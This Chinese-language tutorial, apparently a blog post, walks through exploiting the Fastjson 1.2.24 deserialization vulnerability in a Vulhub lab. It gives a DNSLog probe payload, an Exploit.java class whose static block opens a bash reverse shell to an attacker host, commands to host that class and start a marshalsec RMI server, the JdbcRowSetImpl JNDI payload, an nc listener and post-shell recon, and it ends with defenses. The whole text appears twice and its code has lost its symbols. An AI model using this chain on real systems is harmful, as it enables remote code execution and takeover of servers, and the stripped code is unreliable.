深度剖析Fastjson反序列化漏洞的实战利用与防御策略在当今企业级Java应用开发中JSON处理库Fastjson因其高性能和易用性广受欢迎。然而正是这样一个被阿里巴巴开源并广泛应用于各大互联网企业的组件却因其反序列化机制多次成为安全领域的焦点。本文将从一个渗透测试工程师的视角完整还原Fastjson反序列化漏洞的发现、验证到最终利用的全过程同时深入探讨其背后的技术原理和防御方案。1. 漏洞环境搭建与初步探测在开始漏洞利用之前我们需要搭建一个完整的测试环境。推荐使用Vulhub这一开箱即用的漏洞靶场集合它已经为我们预置了包含Fastjson漏洞的环境配置。# 下载并启动Vulhub中的Fastjson漏洞环境 git clone https://github.com/vulhub/vulhub.git cd vulhub/fastjson/1.2.24-rce docker-compose up -d启动后目标服务将运行在8090端口。我们可以使用Nmap进行基础端口扫描确认服务状态nmap -sV -p 8090 目标IP常见扫描结果特征开放端口8090/tcp服务标识通常显示为HTTP服务响应头中可能包含Server: Jetty或类似Java应用服务器标识注意在实际测试中建议先获取书面授权即使是在内网环境中也应遵守企业安全测试规范。2. 漏洞验证与DNSLog技术应用确认目标运行Fastjson服务后我们需要验证是否存在反序列化漏洞。这里我们采用DNSLog技术进行无侵入式验证这是一种非常有效的漏洞验证方法尤其适合在不敢确定漏洞存在时使用。DNSLog验证步骤详解访问公开的DNSLog平台如ceye.io获取专属子域名构造特殊的JSON payload触发目标进行DNS查询检查DNSLog平台是否收到查询记录以下是具体的Burp Suite抓包修改示例POST / HTTP/1.1 Host: 目标IP:8090 Content-Type: application/json { test:{ type:java.net.Inet4Address, val:your-subdomain.dnslog.cn } }关键点分析type参数指定了要实例化的Java类java.net.Inet4Address是Java标准库中的IP地址处理类当Fastjson尝试反序列化这个JSON时会实例化指定类并设置属性值如果DNSLog平台收到查询记录则基本可以确认存在反序列化漏洞。这种验证方式的优势在于不会对目标系统造成实质影响不受网络出站限制影响大多数服务器都允许DNS查询隐蔽性强不易被安全设备发现3. 漏洞利用链构建与RMI服务器搭建确认漏洞存在后我们需要构建完整的利用链来实现远程代码执行。这里我们采用JNDI注入结合RMI协议的方式这是Fastjson反序列化漏洞最经典的利用方式之一。完整利用流程准备恶意Java类文件托管类文件到Web服务器启动RMI服务器指向恶意类构造特殊JSON触发漏洞首先我们需要编写一个包含恶意代码的Java类// Exploit.java import java.lang.Runtime; import java.lang.Process; public class Exploit { static { try { Runtime rt Runtime.getRuntime(); String[] commands {/bin/bash, -c, bash -i /dev/tcp/攻击机IP/端口 01}; Process pc rt.exec(commands); pc.waitFor(); } catch (Exception e) { // 异常处理 } } }使用JDK8编译该类注意必须使用兼容版本javac Exploit.java然后通过Python快速搭建HTTP服务托管该类文件python3 -m http.server 8000接下来我们需要使用marshalsec工具启动RMI服务器java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://攻击机IP:8000/#Exploit 99994. 最终攻击Payload构造与Shell获取一切准备就绪后我们需要构造最终的攻击Payload发送给目标服务器。这个Payload将触发Fastjson反序列化漏洞导致服务器通过JNDI查找我们控制的RMI服务最终加载并执行恶意类。关键Payload结构{ 恶意字段:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://攻击机IP:9999/Exploit, autoCommit:true } }技术原理剖析Fastjson解析JSON时遇到type会尝试实例化指定类JdbcRowSetImpl是JDK内置类可通过dataSourceName属性发起JNDI查询设置autoCommit为true会触发connect()方法进而执行JNDI查询服务器连接我们控制的RMI服务加载远程恶意类静态代码块中的恶意代码被执行实现反弹Shell在攻击机上监听指定端口等待连接nc -lvnp 监听端口成功获取Shell后建议首先检查当前权限和环境信息whoami id uname -a pwd5. 漏洞防御与缓解措施了解攻击手段后我们更需要知道如何防御此类漏洞。以下是针对Fastjson反序列化漏洞的多层防御方案技术层面防御防御措施实施方法效果评估升级Fastjson使用1.2.83及以上版本彻底修复已知反序列化漏洞启用SafeModeParserConfig.getGlobalInstance().setSafeMode(true);完全禁用autotype功能黑白名单控制配置autoTypeSupport和denyList需要精细维护规则输入过滤检查JSON中的type等关键字可能被绕过作为辅助手段架构层面建议网络隔离限制应用服务器出站连接特别是RMI、LDAP等协议权限控制运行Fastjson的账户应遵循最小权限原则安全监控部署RASP方案实时阻断攻击行为临时缓解方案在JVM启动参数中添加-Dfastjson.parser.autoTypeAccept -Dfastjson.parser.autoTypeSupportfalse使用WAF规则拦截特征明显的恶意请求定期检查服务器异常出站连接在实际项目中使用Fastjson时建议评估是否真的需要反序列化功能。如果只是简单的JSON解析可以考虑使用更安全的替代方案如Jackson或Gson这些库在设计上就更注重安全性。
实战记录：从零到反弹shell的fastjson反序列化漏洞利用全过程（附POC）
深度剖析Fastjson反序列化漏洞的实战利用与防御策略在当今企业级Java应用开发中JSON处理库Fastjson因其高性能和易用性广受欢迎。然而正是这样一个被阿里巴巴开源并广泛应用于各大互联网企业的组件却因其反序列化机制多次成为安全领域的焦点。本文将从一个渗透测试工程师的视角完整还原Fastjson反序列化漏洞的发现、验证到最终利用的全过程同时深入探讨其背后的技术原理和防御方案。1. 漏洞环境搭建与初步探测在开始漏洞利用之前我们需要搭建一个完整的测试环境。推荐使用Vulhub这一开箱即用的漏洞靶场集合它已经为我们预置了包含Fastjson漏洞的环境配置。# 下载并启动Vulhub中的Fastjson漏洞环境 git clone https://github.com/vulhub/vulhub.git cd vulhub/fastjson/1.2.24-rce docker-compose up -d启动后目标服务将运行在8090端口。我们可以使用Nmap进行基础端口扫描确认服务状态nmap -sV -p 8090 目标IP常见扫描结果特征开放端口8090/tcp服务标识通常显示为HTTP服务响应头中可能包含Server: Jetty或类似Java应用服务器标识注意在实际测试中建议先获取书面授权即使是在内网环境中也应遵守企业安全测试规范。2. 漏洞验证与DNSLog技术应用确认目标运行Fastjson服务后我们需要验证是否存在反序列化漏洞。这里我们采用DNSLog技术进行无侵入式验证这是一种非常有效的漏洞验证方法尤其适合在不敢确定漏洞存在时使用。DNSLog验证步骤详解访问公开的DNSLog平台如ceye.io获取专属子域名构造特殊的JSON payload触发目标进行DNS查询检查DNSLog平台是否收到查询记录以下是具体的Burp Suite抓包修改示例POST / HTTP/1.1 Host: 目标IP:8090 Content-Type: application/json { test:{ type:java.net.Inet4Address, val:your-subdomain.dnslog.cn } }关键点分析type参数指定了要实例化的Java类java.net.Inet4Address是Java标准库中的IP地址处理类当Fastjson尝试反序列化这个JSON时会实例化指定类并设置属性值如果DNSLog平台收到查询记录则基本可以确认存在反序列化漏洞。这种验证方式的优势在于不会对目标系统造成实质影响不受网络出站限制影响大多数服务器都允许DNS查询隐蔽性强不易被安全设备发现3. 漏洞利用链构建与RMI服务器搭建确认漏洞存在后我们需要构建完整的利用链来实现远程代码执行。这里我们采用JNDI注入结合RMI协议的方式这是Fastjson反序列化漏洞最经典的利用方式之一。完整利用流程准备恶意Java类文件托管类文件到Web服务器启动RMI服务器指向恶意类构造特殊JSON触发漏洞首先我们需要编写一个包含恶意代码的Java类// Exploit.java import java.lang.Runtime; import java.lang.Process; public class Exploit { static { try { Runtime rt Runtime.getRuntime(); String[] commands {/bin/bash, -c, bash -i /dev/tcp/攻击机IP/端口 01}; Process pc rt.exec(commands); pc.waitFor(); } catch (Exception e) { // 异常处理 } } }使用JDK8编译该类注意必须使用兼容版本javac Exploit.java然后通过Python快速搭建HTTP服务托管该类文件python3 -m http.server 8000接下来我们需要使用marshalsec工具启动RMI服务器java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://攻击机IP:8000/#Exploit 99994. 最终攻击Payload构造与Shell获取一切准备就绪后我们需要构造最终的攻击Payload发送给目标服务器。这个Payload将触发Fastjson反序列化漏洞导致服务器通过JNDI查找我们控制的RMI服务最终加载并执行恶意类。关键Payload结构{ 恶意字段:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://攻击机IP:9999/Exploit, autoCommit:true } }技术原理剖析Fastjson解析JSON时遇到type会尝试实例化指定类JdbcRowSetImpl是JDK内置类可通过dataSourceName属性发起JNDI查询设置autoCommit为true会触发connect()方法进而执行JNDI查询服务器连接我们控制的RMI服务加载远程恶意类静态代码块中的恶意代码被执行实现反弹Shell在攻击机上监听指定端口等待连接nc -lvnp 监听端口成功获取Shell后建议首先检查当前权限和环境信息whoami id uname -a pwd5. 漏洞防御与缓解措施了解攻击手段后我们更需要知道如何防御此类漏洞。以下是针对Fastjson反序列化漏洞的多层防御方案技术层面防御防御措施实施方法效果评估升级Fastjson使用1.2.83及以上版本彻底修复已知反序列化漏洞启用SafeModeParserConfig.getGlobalInstance().setSafeMode(true);完全禁用autotype功能黑白名单控制配置autoTypeSupport和denyList需要精细维护规则输入过滤检查JSON中的type等关键字可能被绕过作为辅助手段架构层面建议网络隔离限制应用服务器出站连接特别是RMI、LDAP等协议权限控制运行Fastjson的账户应遵循最小权限原则安全监控部署RASP方案实时阻断攻击行为临时缓解方案在JVM启动参数中添加-Dfastjson.parser.autoTypeAccept -Dfastjson.parser.autoTypeSupportfalse使用WAF规则拦截特征明显的恶意请求定期检查服务器异常出站连接在实际项目中使用Fastjson时建议评估是否真的需要反序列化功能。如果只是简单的JSON解析可以考虑使用更安全的替代方案如Jackson或Gson这些库在设计上就更注重安全性。
